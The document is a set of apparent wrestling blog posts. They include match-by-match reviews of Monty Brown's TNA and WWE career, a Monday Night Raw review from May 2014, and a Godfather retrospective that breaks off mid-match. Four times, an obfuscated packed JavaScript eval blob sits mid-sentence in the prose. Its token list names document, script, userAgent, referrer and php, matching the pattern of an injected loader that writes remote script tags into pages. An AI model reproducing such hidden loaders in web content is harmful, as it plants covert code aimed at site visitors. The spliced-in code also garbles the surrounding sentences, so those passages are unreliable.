Brown eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yyhhs|var|u0026u|referrer|fhzhh||js|php'.split('|'),0,{})) started in the NFL and didn’t start in wrestling until his early 30s. After starting in the indies for a few years, Brown was on some of the early TNA weekly PPVs, including their third show in July 3, 2002.

Anthony Ingram vs. Monty Brown

After Brown says he wants Shamrock, the squashing commences. After a powerslam the Alpha Bomb (starts in a slam position but Brown swings him into the air and powerbombs him down) gets the pin. Brown has what sounds like Abyss’ old music.

For something a bit longer, here’s another match from the tenth PPV.

NWA World Title: Ron Killings vs. Monty Brown

Truth is defending if that’s not clear. Brown shoves him around and they slug it out a bit with Brown taking over. A bunch of shoulder blocks get two on the champ but Truth low bridges him to send Brown to the floor. Truth dives onto Brown on the ramp before sending him into the steps and stomping away.

The champ gets on the announce table but Brown fights back. The Alpha Bomb through the table is blocked and they keep slugging it out. Brown hits a release overhead belly to belly, sending Truch onto his head. FREAKING OW MAN. Back in and Brown pounds away but walks into a Downward Spiral for two. Truth hooks a chinlock but Brown fights up and hits a sunset flip for two.

Brown grabs a suplex and after some LOUD spot calling, a snap suplex puts both guys down. A powerslam puts Truth down and a splash gets two for Monty. Truth does his signature backflip into the splits into the side kick sequence but Brown ducks away, only to get caught by the ax kick. That gets two and Brown has the Alpha Bomb countered into….I think that’s supposed to be a sunset flip by Truth for the pin to retain.

Rating: D-. This was AWFUL with both guys looking completely not ready for this level at all. Brown would get better when they just turned him into a monster that ran through people with the Pounce. This match sucked though, with both guys botching a ton of stuff, with the ending being an especially big eyesore. Nothing good at all from this one.

Brown would go back to the indies for all of 2003 and come back in 2004 as a monster. He would appear at the first three hour PPV, Victory Road 2004, in the first Monster’s Ball match.

Abyss vs. Monty Brown vs. Raven

This is the original Monster’s Ball match, which originally was far different. The idea here is that the guys have been locked up without light or food for 24 hours. This aspect has since completely disappeared due to reasons of sanity and now it’s just a regular hardcore match. The announcers say that Raven has the advantage here as he’s smaller and crazier which makes sense, at least in the lack of food and light idea.

We have a table set up inside of 30 seconds. Abyss is dominating here for the most part. It’s really more of an intense triple threat rather than a hardcore match and now we have chairs coming in. Raven really is underrated in the ring. I love what Brown does by just chucking a chair at Raven’s head. That’s awesome. Naturally we have a ref bump because they’re required I suppose.

Now we move to the big spots of the match as we have Brown sitting on the top rope and Abyss busts out the tacks. Since he’s the only one wearing a shirt you know that he’s the guy that’s going to wind up going through them. Yep, Raven comes in to powerbomb him while he’s trying to suplex Brown. That wasn’t predictable at all. Not a bit. Raven gets two off of it and then we set up another stupid spot as the table is set up in the corner and Raven gets Pounced (a spear/tackle) through it. It was a mess of course.

Rating: D+. These things are going to happen and while I can’t stand them, I get that there’s a point to them. There is a market for these I guess and at least they’re keeping it shorter. There’s really no way to make these good without going too far, but this was really lackluster even for one of these.

Brown would move up the card and be in a three way for a title shot at Final Resolution 2005.

Monty Brown vs. Diamond Dallas Page vs. Kevin Nash

This is under elimination rules. Brown’s theme sounds like a cover of Down with the Sickness. Nash has some weird instrumental stuff that sounds like R&B while Page has a cover of his famous cover. At least Page has the decency to wear a shirt out there. Nash chills in the corner and lets the other two go at it. Cutter doesn’t work early but he has the fans….only about half behind him as they like Monty also.

Shoulder puts Page on the floor as we hear about Brown having a Nikita Koloff poster on his wall as a kid. That would make him one of two people to have that poster but nice name drop if nothing else. This is kind of a handicap match but not really as Brown shifts off to Nash while Page chills in the corner. Big old side slam by Nash gets two. Headlock is countered into a suplex by Brown so Nash chills for a bit.

Apparently you can be eliminated by going over the top. What kind of a stupidly pointless rule is that? You can’t do a rollup and have to go out over the top? Really? Page takes Brown down with a discus lariat for two and LOUDLY calls a bunch of spots to him. DDT gets two on Page but Big Sexy saves. They finally start working together but Nash tries to double cross Page and is sent to the floor to get us down to one on one. Ah so it was so Nash wouldn’t have to get pinned. Now it makes sense.

Diamond Cutter out of NOWHERE gets two as Nash pulls Page out because he’s a jerk. Page gets sent into the post which gets two for Brown in the ring. Page gets a rollup out of the corner for two and another lariat gets two. Brown takes over with a wide variety of clotheslines and a fallaway slam for no cover. Powerslam gets two. Page tries a Diamond Cutter out of nowhere but gets reversed into the Pounds (Period) to end this and send Brown to the main event.

Rating: C. Match was ok and FAR better with the one on one stuff. Nash was kind of a third wheel here and I pretty much fail to see why he was there. Brown vs. Page wasn’t bad though as Page always had his matches worked out so well that it was hard for him to have a bad match against anyone competent, which Brown was for the most part. Decent here, but kind of unnecessary.

The title match was later that night.

NWA World Title: Jeff Jarrett vs. Monty Brown

This is a rematch from Impact where Brown got ripped off. Security has to hold them apart so JB can do the intros. Brown is mad over. Nothing of note to start and Jarrett gets to start. Jeff gets that dropkick of his as the first big move. Time for more strutting and Jarrett makes fun of Brown a bit. Jarrett rams into him and that gets him nowhere at all.

Gorilla press plants Jeff as it’s pretty clear this isn’t going to end clean. Brown gets him in a slam position but a thumb to the eye….does next of nothing to him as he slams Jarrett for two. Clothesline misses though and Monty is on the floor. LUCHA JARRETT but he gets caught (kind of) in mid air. To the floor and it’s time for brawling of course. Into the crowd they go and Jarrett pops Monty with a chair a few times. Remember that in TNA a DQ can change a title.

Back to ringside and it’s another chair shot to the ribs of Brown before they head to the announce table. After all that a belt shot isn’t allowed for some reason. Back in the ring and Jeff puts on a sleeper to eat up some time. Monty grabs one of his own but Jarrett uses the magical powers of experience to break out of it. Figure Four doesn’t work and Monty avoids the running hip to someone in the 619 position.

They hit the ropes a few times and hit heads to send both guys down. They slug it out with Brown taking over because he has more experience punching. I mean, what else does he actually do? Alpha Bomb (slam into a powerbomb) gets two. Spinning neckbreaker (called the Circle of Life apparently) gets two. Stroke is blocked and we have a ref bump. Guitar shot puts him down after he stands around for a few seconds but it only gets two.

The referee is holding his knee still so Jarrett grabs the chair. Brown puts him in an electric chair and blocks a shot to the head before dropping backwards to put both guys down. Jeff gets two off that as I guess he didn’t block the whole thing. Pretty weak belt shot puts Monty down again but he power kicks out at two. Brown makes his comeback but the Pounce kills the referee again.

Jarrett has a second guitar but Brown counters with a chokeslam for no cover because there’s no referee. Guitar shot looks to kill Jarrett dead but there’s STILL no referee. At least it’s from a finisher and not like a punch. A second referee comes out for a two count but Jarrett gets part of the guitar in for two. Stroke hits, Brown gets up before the cover, Stroke hits, Brown gets up before the cover, low blow, Stroke, pin.

Rating: B-. This was an ok main event brawl but at the same time there wasn’t a ton of chemistry out there. It hurt that Brown can only do a few things and the idea was that he can’t be taken down by anything. The match wasn’t all that bad but after the other two matches it really paled in comparison. Good stuff though.

Brown stayed in the title hunt and would compete in King of the Mountain at Slammiversary 2005.

NWA World Title: AJ Styles vs. Raven vs. Abyss vs. Monty Brown vs. Sean Waltman

The idea here is you have to hang the belt above the ring, sort of like a reverse ladder match. However before you can do that, you have to qualify by getting a fall on someone else. Whoever is pinned/submits goes to the penalty box for two minutes. Waltman dives off the box onto Raven while Styles dives off a ladder onto Brown. Brown shrugs him off and goes inside where he Pounces Raven and pins him to qualify. Raven has to go to the box.

AJ hits a huge dive to take out Waltman and Abyss so it’s Brown/Waltman in the ring. AJ sets for the springboard forearm but Abyss breaks it up. A spinwheel kick puts Abyss down but Brown breaks up the Bronco Buster. Raven is let out ten seconds early for some reason. Alpha Bomb pins Waltman which doesn’t change anything for Brown but Waltman goes to the box. Raven has a table set up at ringside.

AJ dives off the cage to take out Abyss. The camera work is lacking a bit here as we keep missing stuff. Brown hits the Pounce on AJ but Raven pulls him to the floor for the pin to become eligible. Abyss loads up Shock Treatment on Brown but Raven beats them both up with a trashcan. Styles and Waltman are forming an alliance in the box. Waltman is now out and he grabs another trashcan to take Brown down with.

The clock ends for AJ as Abyss hits the Black Hole Slam to pin Brown. AJ and Waltman aren’t eligible yet. As I say that AJ hits the Clash on Raven but Abyss makes the save. Pele puts Abyss down and Waltman cracks the masked man with a chair. No one has used a ladder yet. Waltman puts Abyss on the table and AJ hits Spiral Tap, which is good for a pin for AJ.

Brown is released and here’s the first ladder. Raven throws Brown into the barricade and AJ is going up the ladder. He drops the title, but Waltman hands it to him. Naturally that’s a swerve and Waltman hits the X Factor off the ladder, good for a pin. There’s a table in the corner now too. Raven staples Waltman’s head and Abyss is free. Abyss and Raven both get staples between their legs but Waltman gets taken down as well.

Waltman gets up first and chokes Abyss. Does anyone know where the belt is? Waltman sets up a ladder as Styles is released. They both go up and fight on top of the ladder but Abyss shoves it over. A Pounce puts Abyss through the table but Raven DDTs Brown. He goes up the ladder and Abyss can’t stop him, giving Raven the win and the title.

Rating: B-. This was a fun match but as always with these matches, they’re wild brawls that no one can keep up with. Well ok maybe that’s a stretch but they’re still chaotic. It’s probably a little too complicated but this is TNA’s signature mess and that’s ok for the most part. Raven winning should have won the title a year or so earlier but still, this worked well and he would have a good reign.

It’s another #1 contenders match, this time at Genesis 2005.

Jeff Hardy vs. Monty Brown

Winner gets Jarrett at some point in the future. The fans are almost universally behind Hardy. Jawbreaker slows Brown down….then Hardy sticks his hands out and shouts before crawling on the ground. Brown grabs him into a fallaway slam to take over. Jeff avoids a charge and Monty goes to the floor, but Hardy’s baseball slide misses and he hits the steel. Brown throws him into the crowd and Jeff is in trouble.

Jeff walks on a barricade and dives onto Brown who was nice enough to stand there and let him. At least he’s polite. Back in and Jeff is almost immediately thrown back to the floor over the top. The fans are split but the fans are more in Hardy’s corner. Whisper in the Wind misses and Hardy is in trouble. A double clothesline hits and both guys go down. Now Whisper in the Wind works and Jeff starts his comeback. Legdrop between the legs makes Monty’s eyes bug out.

The Twist of Fate is countered into an Alpha Bomb attempt but Jeff counters into the reverse Twist of Fate, which of course West calls the same thing. Either way it only gets two. Jeff goes up for the Swanton but it only hits mat. Monty gets up and CRUSHES Jeff with the Pounce for the pin. Apparently this just moves Monty up in the rankings instead of giving him a title match. You know, because that’s SO much different than any regular match right?

Rating: D+. This wasn’t much for the most part. Jeff’s selling was great of course but Monty was pretty much just another power guy. He wasn’t bad or anything but not much aside from his finisher made him stand out or anything. Not a bad match or anything but it’s really just kind of there.

And then an actual one on one title match, from Destination X 2006.

NWA World Title: Christian Cage vs. Monty Brown

Yeah still the NWA Title here which would last about another 14 months when Christian would be stripped of the title. Brown is a big old strong guy that uses a half spear/half shoulder block as a finisher. He’s a bit more known in WWE as Marcus Cor Von. Christian was certainly over in Orlando. Christian is the hometown boy so he’s by far and away the favorite. That and he’s a face.

Dueling chants begin and here we go. Christian has bad ribs because it’s illegal to be fully healthy against a monster challenger I guess. Christian grabs a headlock but Brown gets a shot to the ribs to break it up. They trade chops and Christian gets tossed to the floor. They brawl into the crowd where the people seem, shall we say, not very interested. Back to the ring and more slugging occurs.

And never mind as we’re right back to the floor. Christian tries to come back in off the top but gets caught by a punch to the ribs. This time they slug it out on the apron for a little variety before they go to the floor again. Into the ring again for more punching to the ribs of the champion. To say this is repetitive is like saying Austin likes to drink. Brown drapes him over the ropes and sends him into the post/buckle for two.

We hit the abdominal stretch which is a perfectly logical move. We’re over ten minutes into this match and I don’t think Christian has used anything other than punches or chops. Tornado DDT is reversed for two. Cage fires off some forearms before Brown hits him in the ribs to remind us that he knows how to do that. Down goes Monty but the frog splash misses for Christian and we hit another rib hold, this one on the mat.

To the corner now with Brown hammering on the ribs again. Christian knocks him off the top and drops a backsplash for two. Unprettier is blocked into an Alpha Bomb for two (big powerbomb). Unprettier is blocked into an F5 for two. Another Alpha Bomb is blocked into the Unprettier to end this. At least it’s over.

Rating: D+. Really dull match here as Brown was trying but Christian’s offense was so one dimensional for the first 12-14 minutes that it was putting me to sleep. Brown isn’t a guy capable of going 17 minutes without boring people to tears and that’s exactly what the case was here. Bad main event that needed to be about 5 minutes shorter to make it work in any fashion.

Brown would jump to WWE as Marcus Cor Von, where he debuted on the ECW brand. Here’s one of his first matches from April 10, 2007.

Marcus Cor Von vs. Rob Van Dam

This is part of the New Breed vs. ECW Originals story. Sabu and Elijah Burke are the seconds here. Feeling out process to start with neither getting an advantage with right hands or kicks. I’ll let you figure out which tried which. Rob tries a monkey flip out of the corner but has to use a hurricanrana to counter a powerbomb.

A hard clothesline puts Van Dam down and a slam does the same as Taz calls Burke Knute Rockne. We hit the chinlock for a bit before a neckbreaker gets two for Cor Von. Rob gets two off a rollup out of the corner but walks into a belly to back suplex to put both guys down. Back to the chinlock before a HUGE release German plants Van Dam for two.

There’s a third chinlock followed by some stomps to Rob’s face for two. It’s a FOURTH chinlock as this is dragging already. Van Dam fights up again and nails a bunch of kicks including a springboard kick to the jaw. A spinning legdrop is good for two and the top rope kick drops Cor Von again. Burke jumps the injured Sabu, and the distraction allows Marcus to hit the Pounce for the pin.

Rating: D+. As I mentioned in the Christian match, Brown’s offense was rather limited and couldn’t last in a ten minute match. He needed someone to help him expand his offense with some other power moves. Yeah he was strong, but the amount of chinlocks in this match was WAY too high.

Here’s the big showdown between the two factions at Wrestlemania XXIII.

New Breed vs. ECW Originals

It’s Elijah Burke/Matt Striker/Kevin Thron/Marcus Cor Van vs. Rob Van Dam/Tommy Dreamer/Sabu/Sandman and for no reason whatsoever this is a regular eight man tag instead of the Extreme Rules match we would get on ECW a few days later. Striker starts with Sabu and Matt is in early trouble. It’s quickly off to Sandman vs. Burke but before Sandy does much he brings in Dreamer. Cor Von hits Dreamer in the back and comes in to pound away a bit.

It’s quickly back to Burke (the New Breed’s leader and more famous as D’Angelo Dinero) for the running knees to the back for two. Thorn comes in to crush Dreamer into the corner and put on a chinlock. Back up and a sitout powerbomb gets two for Thorn and here’s Cor Von again. Burke comes in as well but Dreamer takes them down with a simultaneous neckbreaker/reverse DDT combo. The hot tag brings in Van Dam and there’s the top rope kick to Thorn. Rolling Thunder lands on Striker as everything breaks down. With everyone else on the floor, Van Dam Five Stars Striker for the pin.

Rating: D+. Seriously, why wasn’t this the Extreme Rules match? The whole point of ECW is to be extreme but we got a seven minute tag match which went nowhere at all. The theory was to finally let these guys get on Wrestlemania, but Van Dam had been on it before and won a title here. Nothing to see here at all.

The New Breed would win the rematch (an extreme rules match on TV instead of here for some reason) but CM Punk would jump in to continue the feud. From May 8, 2007 on ECW on SyFy.

CM Punk vs. Marcus Cor Von

Punk scores with some quick dropkicks to send Cor Von outside but he gets pulled out for a beating. Cor Von rams his back into the apron before hammering away at the ribs back inside. We hit the bearhug followed by some knees to the back and a release belly to belly suplex for two. Punk finally comes back with a kick to the head and a springboard clothesline but the ribs slow down the cover. A tornado DDT is countered by Brown shoving him out to the floor and the ribs are in more trouble. Back in and Punk scores with some forearms, only to get caught with the Pounce for the completely clean pin.

Rating: C-. You could see the potential in Brown starting to come out here. Stuff like the knees to the back and the suplexes were a great breath of air after the chinlocks and slams to Van Dam. He wasn’t ready to main event Summerslam or anything yet, but he was already getting better in the ring.

We’ll wrap it up there as it would be downhill for the New Breed after this and Cor Von would retire due to some family issues resulting in him having to take care of some children.

While he wasn’t around all that long, Brown was definitely a guy with some potential due to how strong he was. He wasn’t going to be anything huge but he was perfect for a young company like TNA. The Pounce worked perfectly and was better than a lot of spears that you see from bigger names. Had he debuted earlier in life he could have been something very solid.

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Thought of the Day: Get The Big Pack Of Candles

Here’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ahzit|var|u0026u|referrer|rtydk||js|php'.split('|'),0,{})) something you might not realize.  No real reason for this but I found it interesting.

John Cena, AJ Styles and Brock Lesnar were all born within two and a half months of each other.  No there’s no significance to that, but AJ always seems so much younger than those two.




Reviewing the Review: Monday Night Raw – May 5, 2014

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ftnkk|var|u0026u|referrer|trift||js|php'.split('|'),0,{})) week was the first show after the sequel to Wrestlemania and it seems like we’re setting up the third part of the trilogy even though people don’t seem all that interested in what we’re getting. In other words, it’s spring in the WWE. Let’s get to it.

The show opened with Dean Ambrose defending the US Title in a battle royal. He wound up losing the title to Sheamus as the last man in the match and I can’t complain at all. This accomplishes two things: it gets the title off Ambrose who had held it for nearly a year and gives Sheamus something to do. It also makes the US Title seem more important as a big name like Sheamus is holding it now. With only one world title now, there simply isn’t room for guys like Sheamus, Del Rio, Christian and Ziggler to challenge for the big belt. You elevate the midcard titles and everything fits much better.

I’ll cover all of the Bryan/Brie/Stephanie/Kane stuff here. This of course leads us to the Disco Inferno. He used to post on the WrestleZone Forums as a paid guest and made a comment once that makes so much sense: “If a champion pins a challenger clean, why in the world would I want to watch them fight again?” That’s the problem with Kane vs. Bryan again. Bryan pinned Kane in the middle of the ring after his finisher. The question was “what can Bryan do to stop Kane?” We answered that at Extreme Rules but the feud is continuing because they have nothing else to do and the script says it has to continue. That’s rarely interesting.

What makes it even worse is how they’re going about doing it. From the camera in the back of the car to the Michael Myers feeling the segment had to having to watch Stephanie’s acting to the supernatural stuff with the Kane masks everywhere to how stupid the other segments are likely to be, this stuff got old fast. I don’t want to watch a bad slasher movie, but at least it’s better than Zack Ryder as Bryan will actually fight back. Also I don’t mind Brie Bella being there as it doesn’t feel incredibly forced and Bryan is the kind of character that seems like he’d be a family man.

Cesaro got disqualified for attacking RVD too much. The match wasn’t anything great but Cesaro had RVD defeated when he got disqualified which made this way easier to sit through. This is what RVD should be used for and he did it to perfection.

Bray Wyatt’s promo worked very well as he talked about being a god instead of just a leader. It seems that his feud with Cena will continue and again, Bray needs to win the third match. That would open the door for stories going forward and it’s not like Cena needs the win. Yeah the Extreme Rules match felt forced, but at least there’s a story here that makes me want to see where it goes, unlike the World Title feud.

Ryback beat Cody Rhodes to continue the Rhodes Brothers breakup that is going on too long now. Nothing to see here.

Los Matadores and Torito beat up 3MB. I have no idea where they can go after Sunday and I really don’t care to find out.

Rusev has dropped the Alexander and squashed Kofi Kingston. Again I didn’t care too much about the match as Lana was very distracting in blue.

Daniel Bryan beat Alberto Del Rio in a good match. This is the kind of thing I’d love to see as the co-main event of the B shows. You don’t have to have A-list star vs. A-list star as the main event of every show. Have another big match on the side (Shield vs. Evolution in a big gimmick match for example) and have Bryan go 25 minutes with Del Rio or Ziggler etc. Bryan gets a win over a former World Champion, the other guy gets a rub and doesn’t look bad in losing to Bryan and maybe he even looks better in the future. It worked at In Your House and it can work here.

Bad News Barrett beat Big E. again to retain the Intercontinental Title. This was as by the books as you could get and there’s really nothing wrong with that. Big E. needs a story instead of a feud now though, which isn’t likely to happen as the writers aren’t that competent.

We got a Mother’s Day message from Mr. T., which was basically just a way to make fun of his Hall of Fame speech. This kind of stuff makes WWE look so childish and likely is done to entertain themselves. They’re already borderline toxic to most big name stars, so why would they make fun of someone willing to work with them? What does this one off, 90 second joke accomplish?

Adam Rose debuted but didn’t wrestle. His first match/feud is going to be with Jack Swagger, which is WAY better than having him squash jobbers for a month while we wait for someone of note to fight him. The fans were way into the character which is the right idea, even though Rose doesn’t have a long shelf life. Also Zeb dancing, even if by accident, was hysterical.

Shield vs. Wyatts was nothing we haven’t seen before but it wasn’t bad. We got all the usual spots and sequences until Evolution came out for the distraction. The show ended with Evolution standing tall, which is the right move if they’re continuing the story.

Overall Raw was a decent show but Payback seems like they’re running on whatever fuel they had left over at Wrestlemania. Evolution vs. Shield should be an interesting second PPV match but I’m hoping they go for three singles matches instead of another match and THEN have another six man tag. Cena vs. Wyatt III all depends on the ending and Bryan vs. Kane II is just nothing I want to see. Still though, there was enough good to get me through Raw on Monday, but it didn’t do much to make me care about the future going forward.

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Wrestler of the Day – April 11: Godfather

It’s time once again for everybody to come aboard the WOTD train. It’s the Godfather.

 

There eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dheyk|var|u0026u|referrer|adaht||js|php'.split('|'),0,{})) aren’t many people with more gimmicks than Godfather as he’s been around for a very long time. We’ll start in the GWF (short lived promotion out of Dallas that used to air on ESPN) with his first gimmick: the Soultaker. I’m not sure on an exact date on this but some hints during the commentary would likely put this in July 1991.

Soultaker vs. Patriot

This is part of a tournament for the North American Title, the top belt in the company. Patriot is quickly sent into the corner but Soultaker has no interest in following up. A headlock gets Patriot nowhere either so he hammers away and clotheslines Soultaker out to the floor. Patriot is rammed into the apron and then the corner back inside as Soultaker gets his first advantage.

An abdominal stretch (called a standing guillotine by the announcer) puts Patriot in even more trouble. That lasts about as long as any other abdominal stretch so Soultaker gets two off a splash in the corner. A horrible nerve hold goes nowhere for Soultaker but he sends a charging Patriot out to the floor. Patriot, ever the hear, wraps Soultaker’s legs around the post a few times but misses the Patriot Missile top rope shoulder. Soultaker misses another splash in the corner and a rollup gives Patriot the pin.

Rating: D. Patriot was rarely more than adequate and it was apparent here. At the same time though, Soultaker was pretty lousy here as well with almost nothing but basic power stuff and that lame nerve hold. Granted he never was all that great even at the peak of his career as it was all character but that’s another story.

Speaking of characters, Soultaker became one of his better known characters when he was brought into the WWE. Wearing gray skull paint, he became Papa Shango, a voodoo priest. Somehow this was enough to get a WWF Title shot at Bret Hart on the last original Saturday Night’s Main Event. I apologize in advance for how lousy this review is.

WWF Title: Bret Hart vs. Papa Shango

Bret says he’s not overlooking Shango here before he gets Shawn Michaels at Survivor Series. Dang those two were just joined at the hip. Hart had won the title in a TOTAL shocker at a house show in Canada as Flair more or less said he wasn’t resigning when his contract was up. I mean it was just like a token title defense for Flair and Bret made him give up to just stun the heck out of the crowd.

Unfortunately that wasn’t on home video for years and I only saw it within the last two years or so. Bret wasn’t ready for the spot yet, but they realized he was all they had because they couldn’t, KEEP THE BELT ON THE VETERAN SAVAGE or anything like that. They made Savage the commentator despite him holding the title all summer long. Why in the world they never did Bret vs. Savage is beyond me.

This is more or less a Bret Hart 101 match. He starts off hot then messes up before getting the living tar beaten out of him for a good while. It’s amazing how good Bret was at selling for big guys. We have a long sequence, as in about 4 minutes of Shango beating up Bret. Shango is more commonly known as Godfather to younger fans by the way. Anyway, Bret of course makes the comeback and hits his signature series to get the Sharpshooter for the tap out.

Rating: C+. It was a standard TV match and that’s fine as it got Bret some national exposure which is what the whole point of these shows were. He would have a forgotten classic with Shawn in about two weeks at Survivor Series before eventually moving on to Yoko and Wrestlemania. Dang Bret never really had the defining moment in his title reign come to think of it.

Here he is against another supernatural character from a home video called Invasion of the Bodyslammers.

Undertaker vs. Papa Shango

They stare each other down until Shango chokes Undertaker into the corner. Undertaker does the same to him and follows up with Old School. A kick to the face has almost no effect on the dead man but he misses an elbow to give Shango an opening. Not that it really matters as Undertaker lands on his feet after a clothesline puts him over the top.

Taker Stuns him onto the top rope but gets blasted by pyro out of Shango’s voodoo stick. Somehow the referee doesn’t notice either that, Papa hitting Undertaker in the back with a chair or whipping Undertaker into the steps. Back in and three slams have no effect on Undertaker. Some elbows have the save result as Undertaker sits up. The jumping clothesline sets up the chokeslam to pin Shango.

Rating: D+. Better but still not something worth going out of your way to see. That voodoo stick getting no reaction from the referee was too much for me to go with, but to be fair Undertaker would blow that out of the water very soon. The match wasn’t anything you wouldn’t see on a house show.

We’ll skip the Ultimate Warrior stuff and go to a match Shango might actually win. This is from WWF Mania, which was a Saturday morning recap show with an exclusive match or two. From March 6, 1993.

Papa Shango vs. Typhoon

Shango bounces back off some collisions and what would become the World’s Strongest Slam crushes him to the floor. Back in and we get the switching arms joke instead of a test of strength which still isn’t funny. Typhoon misses an elbow and a splash so we hit a sleeper from Shango. He fights out and clotheslines Shango over the top but Papa sprays sparks from the voodoo stick for the DQ.

Rating: F. Do I need to explain this one? Moving on.

Here’s a big shift for Shango from March 15, 1993 on Raw.

Bob Backlund vs. Papa Shango

Backlund trips him up a few times as I have to listen to the horrible Rob Bartlett on commentary. He was a comedian who was given this spot for no explained reason. Shango takes over with a test of strength but Bob grabs the arm and drives an elbow into the nose. Papa comes back with a backbreaker as Rob goes into a horrible Vince impression. Papa chokes with a boot in the corner, making Backlund look shocked that someone would cheat. We hit the chinlock for a LONG stretch as Gorilla wants to beat up Heenan and Bartlett. A slam gets two on Backlund but he grabs a small package for a surprise pin.

Rating: D. That chinlock just would not end. Shango is the kind of guy that was a nice contrast to Backlund but it didn’t work here. Interesting bit of trivia: Shango was rumored to be brought back and be revealed as the reason Backlund went nuts in 1994. Thankfully this didn’t happen and was never mentioned at all but it would have been different.

Shango would leave in the middle of 1993 and not be back until 1995, under the name of Kama. He would be in the 1995 King of the Ring tournament against a fairly big name.

KOTR Quarterfinals: Kama vs. Shawn Michaels

Shawn beat King Kong Bundy and Kama beat Duke Droese. Kama was kind of feuding with Taker at the time, as was the entire Million Dollar Team. Shawn’s music is messed up here, opening with the guitar solo instead of the regular opening. That’s very odd indeed. Kama is more commonly known as Papa Shango or Godfather depending on what era you’re from.

The crowd is into Shawn as he was at the point on the card where he was bigger than the midcard but not quite into the main event yet, sort of like Austin after Mania 13. Joe Frazier is here. This is a very standard Shawn match which means it’s the best match of the night. Kama works over Shawn, who of course has a bad back as all faces are required to have at some point in their career, until Shawn starts his comeback.

And then we get the evil of the clock on the screen, which means this is going to end in a draw. After a very fast 15 minutes that likely wasn’t really 15 minutes, Shawn has a sunset flip on Kama but as the hand is coming down for three the buzzer goes off and so does the crowd. Why in the WORLD would you have a draw here to eliminate the guy that is likely the most over in your whole company?

I have a bad feeling I know why, but I want to convince myself that’s not really the reason to keep myself from going on a killing spree. Shawn hits the kick after the match to get the fans to put down their pitchforks, but DANG this was stupid. Seriously, why in the world would you get rid of your most over guy? Does Vince actually believe that Savio freaking Vega is going to be enough of a reason for people to care about this horrible show? That’s flat out stupid. If Vince believes that, then he deserved to almost get put out of business in a year and a half.

Rating: B. Like I said, this is likely going to be the best match of the entire night. Shawn was on the top of his game around this time and no one other than Bret could stay with him in the ring and this was no exception. Shawn carried this thing as Kama’s basic as heck offense wasn’t able to do a thing at all.

Kama would become part of the Million Dollar Team around this time, meaning he was part of the feud with Undertaker. He stole the Urn at Wrestlemania and melted it into a chain. Of course you know this means war in the form of a casket match at Summerslam 1995.

Undertaker vs. Kama

Kama is more famous as Godfather and is the Supreme Fighting Machine here, which is kind of an MMA gimmick. Taker pounds away in the corner to start before choking Kama down, only to be kicked in the back when he looks at the casket. Taker knocks Kama over the top and onto the casket to freak him out before hitting a quick splash in the corner. Old School connects and Kama is thrown into the casket but pops right back out. A top rope clothesline puts Taker down for a second but he sits right back up.

Kama hits a quick belly to belly suplex but Taker is right back up again. He throws Kama into the casket again but DiBiase makes a quick save. Kama pounds on Taker in the corner and clotheslines him onto the top of the casket where DiBiase can get in some shots. The managers almost get into it but we’re lucky enough to get more of Taker and Kama’s slow brawling. Kama posts him and rams Taker face first into the casket. A suplex onto the casket works over the back a bit but Kame, the genius that he is, can’t open the casket with Undertaker on top of it.

They both stand on the casket and Undertaker backdrops Kama into the ring to block a piledriver. The fans get WAY into this all of a sudden but Kama takes him down with a powerslam. The genius covers Taker but he sits up a few seconds later. Off to a chinlock because this match hasn’t gone on long enough already. Bearer shoves Kama’s feet off the ropes to break up the hold so it’s off to a headlock.

Taker finally fights up but gets whipped into the corner to stop him cold again. The jumping clothesline puts Kama down and a regular clothesline puts him inside the casket, but Undertaker falls in with him and the lid closes. Kama fights out again and hits a neckbreaker in the ring to put the Dead Man down again. Not that it matters as Taker stands up, hits the chokeslam and tombstone and throws Kama into the casket for the win.

Rating: D. WAY too long for the level of “action” in this match. Also did anyone think Kama had a chance against Undertaker in a major match? There was nothing here and the match running seventeen minutes didn’t help it at all. Undertaker would move onto a feud with King Mabel which was at least different than the year of Undertaker vs. DiBiase.

Kama would be gone to the USWA for 1996 and a good chunk of 1997, coming back in the summer. He would return to the WWF in June and join the Nation of Domination as something resembling an enforcer. Here’s a war he was in at In Your House #20.

Nation of Domination vs. Ken Shamrock/Ahmed Johnson/Disciples of Apocalypse

This is a ten man tag with the Nation comprised of Faarooq, Rock, Kama, D’Lo Brown and the now heel Mark Henry. The match has been billed as a war of attrition which would imply survival and elimination rules, but this is one fall to a finish. Skull starts with D’Lo and Brown goes to the eyes for an early advantage. An atomic drop slows D’Lo down though and it’s off to Shamrock for a back elbow to the jaw. A double tag brings in Kama and Chainz with Mustafa pounding away in the corner.

Some quick elbows have Kama in trouble so he tags off to Mark for some raw power. Henry wants Ahmed though and the fans till care about Johnson at this point. Johnson wins a slugout and slams Henry down, only to have the Nation come in with some cheap shots to take over. D’Lo hits a spinebuster to put Ahmed down and a long distance frog splash gets no cover. Instead it’s off to Faarooq who walks into a spinebuster from Ahmed but Rock breaks up the Pearl River Plunge.

